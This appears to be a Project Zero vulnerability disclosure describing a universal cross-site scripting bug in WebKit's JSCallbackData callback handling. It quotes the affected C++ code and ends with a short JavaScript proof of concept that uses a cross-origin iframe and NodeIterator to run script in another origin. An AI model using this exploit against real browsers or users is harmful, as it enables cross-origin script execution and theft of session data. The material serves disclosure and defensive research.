README.md

UXSS with JSCallbackData

Reported by mailto:[email protected], Jan 3 2017

Here is the definition of JSCallbackData class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }

    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }

private:
    JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);

    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);

    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;

    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}

But JSCallbackData::invokeCallback method obtains the ExecState object from the callback object. So if we invoke JSCallbackData::invokeCallback method with the different origin's window as callback, an exception object will be created from the different domain's javascript context.

PoC:

'use strict'

let f = document.body.appendChild(document.createElement('iframe'))
f.onload = () => {
	f.onload = null

	try {
		let iterator = document.createNodeIterator(
			document,
			NodeFilter.SHOW_ALL,
			f.contentWindow
		)
		iterator.nextNode()
	} catch (e) {
		e.constructor.constructor('alert(location)')()
	}
}

f.src = 'https://abc.xyz/'

Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068